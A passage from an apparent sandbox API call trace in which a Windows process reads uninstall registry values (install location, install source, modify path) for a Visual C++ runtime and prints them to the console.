lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.230] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.230] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.231] lstrlenW (lpString="InstallLocation") returned 15 [0148.231] __iob_func () returned 0x7fefd702a80 [0148.231] _fileno (_File=0x7fefd702ab0) returned 1 [0148.231] _errno () returned 0xc4bb0 [0148.231] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.231] _errno () returned 0xc4bb0 [0148.231] GetFileType (hFile=0x50) returned 0x1 [0148.231] lstrlenW (lpString="InstallLocation") returned 15 [0148.231] GetConsoleOutputCP () returned 0x1b5 [0148.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.231] GetConsoleOutputCP () returned 0x1b5 [0148.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0148.231] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.231] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.231] __iob_func () returned 0x7fefd702a80 [0148.231] _fileno (_File=0x7fefd702ab0) returned 1 [0148.231] _errno () returned 0xc4bb0 [0148.231] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.231] _errno () returned 0xc4bb0 [0148.231] GetFileType (hFile=0x50) returned 0x1 [0148.231] lstrlenW (lpString=" ") returned 4 [0148.231] GetConsoleOutputCP () returned 0x1b5 [0148.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.232] GetConsoleOutputCP () returned 0x1b5 [0148.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.232] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.232] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.232] __iob_func () returned 0x7fefd702a80 [0148.232] _fileno (_File=0x7fefd702ab0) returned 1 [0148.232] _errno () returned 0xc4bb0 [0148.232] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.232] _errno () returned 0xc4bb0 [0148.232] GetFileType (hFile=0x50) returned 0x1 [0148.232] lstrlenW (lpString="REG_SZ") returned 6 [0148.232] GetConsoleOutputCP () returned 0x1b5 [0148.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.232] GetConsoleOutputCP () returned 0x1b5 [0148.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.232] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.232] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.232] __iob_func () returned 0x7fefd702a80 [0148.232] _fileno (_File=0x7fefd702ab0) returned 1 [0148.232] _errno () returned 0xc4bb0 [0148.232] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.232] _errno () returned 0xc4bb0 [0148.232] GetFileType (hFile=0x50) returned 0x1 [0148.232] lstrlenW (lpString=" ") returned 4 [0148.233] GetConsoleOutputCP () returned 0x1b5 [0148.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.233] GetConsoleOutputCP () returned 0x1b5 [0148.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.233] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.233] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.233] __iob_func () returned 0x7fefd702a80 [0148.233] _fileno (_File=0x7fefd702ab0) returned 1 [0148.233] _errno () returned 0xc4bb0 [0148.233] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.233] _errno () returned 0xc4bb0 [0148.233] GetFileType (hFile=0x50) returned 0x1 [0148.233] lstrlenW (lpString="") returned 0 [0148.233] __iob_func () returned 0x7fefd702a80 [0148.233] _fileno (_File=0x7fefd702ab0) returned 1 [0148.233] _errno () returned 0xc4bb0 [0148.233] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.233] _errno () returned 0xc4bb0 [0148.233] GetFileType (hFile=0x50) returned 0x1 [0148.233] lstrlenW (lpString="\n") returned 1 [0148.233] GetConsoleOutputCP () returned 0x1b5 [0148.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.233] GetConsoleOutputCP () returned 0x1b5 [0148.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.234] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.234] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.234] GetProcessHeap () returned 0x2e0000 [0148.234] GetProcessHeap () returned 0x2e0000 [0148.234] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.234] GetProcessHeap () returned 0x2e0000 [0148.234] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.234] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.234] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.234] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xe2) returned 0x0 [0148.234] GetProcessHeap () returned 0x2e0000 [0148.234] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xe4) returned 0x2ff9a0 [0148.234] GetProcessHeap () returned 0x2e0000 [0148.234] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0148.234] GetProcessHeap () returned 0x2e0000 [0148.234] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xe4 [0148.234] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2ff9a0, pcbData=0x23f670*=0xe2 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\", pcbData=0x23f670*=0xe0) returned 0x0 [0148.234] __iob_func () returned 0x7fefd702a80 [0148.234] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.234] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.234] _fileno (_File=0x7fefd702ab0) returned 1 [0148.234] _errno () returned 0xc4bb0 [0148.234] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.234] _errno () returned 0xc4bb0 [0148.234] GetFileType (hFile=0x50) returned 0x1 [0148.234] lstrlenW (lpString=" ") returned 4 [0148.234] GetConsoleOutputCP () returned 0x1b5 [0148.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.235] GetConsoleOutputCP () returned 0x1b5 [0148.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.235] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.235] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.235] lstrlenW (lpString="InstallSource") returned 13 [0148.235] __iob_func () returned 0x7fefd702a80 [0148.235] _fileno (_File=0x7fefd702ab0) returned 1 [0148.235] _errno () returned 0xc4bb0 [0148.235] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.235] _errno () returned 0xc4bb0 [0148.235] GetFileType (hFile=0x50) returned 0x1 [0148.235] lstrlenW (lpString="InstallSource") returned 13 [0148.235] GetConsoleOutputCP () returned 0x1b5 [0148.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.235] GetConsoleOutputCP () returned 0x1b5 [0148.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0148.235] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.235] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.235] __iob_func () returned 0x7fefd702a80 [0148.235] _fileno (_File=0x7fefd702ab0) returned 1 [0148.235] _errno () returned 0xc4bb0 [0148.236] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.236] _errno () returned 0xc4bb0 [0148.236] GetFileType (hFile=0x50) returned 0x1 [0148.236] lstrlenW (lpString=" ") returned 4 [0148.236] GetConsoleOutputCP () returned 0x1b5 [0148.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.236] GetConsoleOutputCP () returned 0x1b5 [0148.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.236] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.236] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.236] __iob_func () returned 0x7fefd702a80 [0148.236] _fileno (_File=0x7fefd702ab0) returned 1 [0148.236] _errno () returned 0xc4bb0 [0148.236] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.236] _errno () returned 0xc4bb0 [0148.236] GetFileType (hFile=0x50) returned 0x1 [0148.236] lstrlenW (lpString="REG_SZ") returned 6 [0148.236] GetConsoleOutputCP () returned 0x1b5 [0148.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.236] GetConsoleOutputCP () returned 0x1b5 [0148.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.236] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.237] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.237] __iob_func () returned 0x7fefd702a80 [0148.237] _fileno (_File=0x7fefd702ab0) returned 1 [0148.237] _errno () returned 0xc4bb0 [0148.237] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.237] _errno () returned 0xc4bb0 [0148.237] GetFileType (hFile=0x50) returned 0x1 [0148.237] lstrlenW (lpString=" ") returned 4 [0148.237] GetConsoleOutputCP () returned 0x1b5 [0148.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.237] GetConsoleOutputCP () returned 0x1b5 [0148.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.237] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.237] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.237] __iob_func () returned 0x7fefd702a80 [0148.237] _fileno (_File=0x7fefd702ab0) returned 1 [0148.237] _errno () returned 0xc4bb0 [0148.237] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.237] _errno () returned 0xc4bb0 [0148.237] GetFileType (hFile=0x50) returned 0x1 [0148.237] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\") returned 111 [0148.237] GetConsoleOutputCP () returned 0x1b5 [0148.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\", cchWideChar=111, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 111 [0148.238] GetConsoleOutputCP () returned 0x1b5 [0148.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\", cchWideChar=111, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\", lpUsedDefaultChar=0x0) returned 111 [0148.238] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 111 [0148.238] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.238] __iob_func () returned 0x7fefd702a80 [0148.238] _fileno (_File=0x7fefd702ab0) returned 1 [0148.238] _errno () returned 0xc4bb0 [0148.238] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.238] _errno () returned 0xc4bb0 [0148.238] GetFileType (hFile=0x50) returned 0x1 [0148.238] lstrlenW (lpString="\n") returned 1 [0148.238] GetConsoleOutputCP () returned 0x1b5 [0148.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.238] GetConsoleOutputCP () returned 0x1b5 [0148.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.238] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.238] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.238] GetProcessHeap () returned 0x2e0000 [0148.238] GetProcessHeap () returned 0x2e0000 [0148.239] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0148.239] GetProcessHeap () returned 0x2e0000 [0148.239] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xe4 [0148.239] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0148.239] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.239] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0148.239] GetProcessHeap () returned 0x2e0000 [0148.239] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0148.239] GetProcessHeap () returned 0x2e0000 [0148.239] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.239] GetProcessHeap () returned 0x2e0000 [0148.239] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.239] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", pcbData=0x23f670*=0x6a) returned 0x0 [0148.239] __iob_func () returned 0x7fefd702a80 [0148.239] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.239] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.239] _fileno (_File=0x7fefd702ab0) returned 1 [0148.239] _errno () returned 0xc4bb0 [0148.239] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.239] _errno () returned 0xc4bb0 [0148.239] GetFileType (hFile=0x50) returned 0x1 [0148.239] lstrlenW (lpString=" ") returned 4 [0148.239] GetConsoleOutputCP () returned 0x1b5 [0148.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.239] GetConsoleOutputCP () returned 0x1b5 [0148.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.239] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.239] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.240] lstrlenW (lpString="ModifyPath") returned 10 [0148.240] __iob_func () returned 0x7fefd702a80 [0148.240] _fileno (_File=0x7fefd702ab0) returned 1 [0148.240] _errno () returned 0xc4bb0 [0148.240] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.240] _errno () returned 0xc4bb0 [0148.240] GetFileType (hFile=0x50) returned 0x1 [0148.240] lstrlenW (lpString="ModifyPath") returned 10 [0148.240] GetConsoleOutputCP () returned 0x1b5 [0148.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0148.240] GetConsoleOutputCP () returned 0x1b5 [0148.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0148.240] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0148.240] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.240] __iob_func () returned 0x7fefd702a80 [0148.240] _fileno (_File=0x7fefd702ab0) returned 1 [0148.240] _errno () returned 0xc4bb0 [0148.240] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.240] _errno () returned 0xc4bb0 [0148.240] GetFileType (hFile=0x50) returned 0x1 [0148.240] lstrlenW (lpString=" ") returned 4 [0148.240] GetConsoleOutputCP () returned 0x1b5 [0148.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.241] GetConsoleOutputCP () returned 0x1b5 [0148.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.241] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.241] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.241] __iob_func () returned 0x7fefd702a80 [0148.241] _fileno (_File=0x7fefd702ab0) returned 1 [0148.241] _errno () returned 0xc4bb0 [0148.241] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.241] _errno () returned 0xc4bb0 [0148.241] GetFileType (hFile=0x50) returned 0x1 [0148.241] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.241] GetConsoleOutputCP () returned 0x1b5 [0148.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.241] GetConsoleOutputCP () returned 0x1b5 [0148.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.241] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.241] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.241] __iob_func () returned 0x7fefd702a80 [0148.241] _fileno (_File=0x7fefd702ab0) returned 1 [0148.241] _errno () returned 0xc4bb0 [0148.241] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.241] _errno () returned 0xc4bb0 [0148.241] GetFileType (hFile=0x50) returned 0x1 [0148.241] lstrlenW (lpString=" ") returned 4 [0148.242] GetConsoleOutputCP () returned 0x1b5 [0148.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.242] GetConsoleOutputCP () returned 0x1b5 [0148.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.242] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.242] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.242] __iob_func () returned 0x7fefd702a80 [0148.242] _fileno (_File=0x7fefd702ab0) returned 1 [0148.242] _errno () returned 0xc4bb0 [0148.242] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.242] _errno () returned 0xc4bb0 [0148.242] GetFileType (hFile=0x50) returned 0x1 [0148.242] lstrlenW (lpString="MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}") returned 52 [0148.242] GetConsoleOutputCP () returned 0x1b5 [0148.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0148.242] GetConsoleOutputCP () returned 0x1b5 [0148.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", lpUsedDefaultChar=0x0) returned 52 [0148.242] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0148.242] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.243] __iob_func () returned 0x7fefd702a80 [0148.243] _fileno 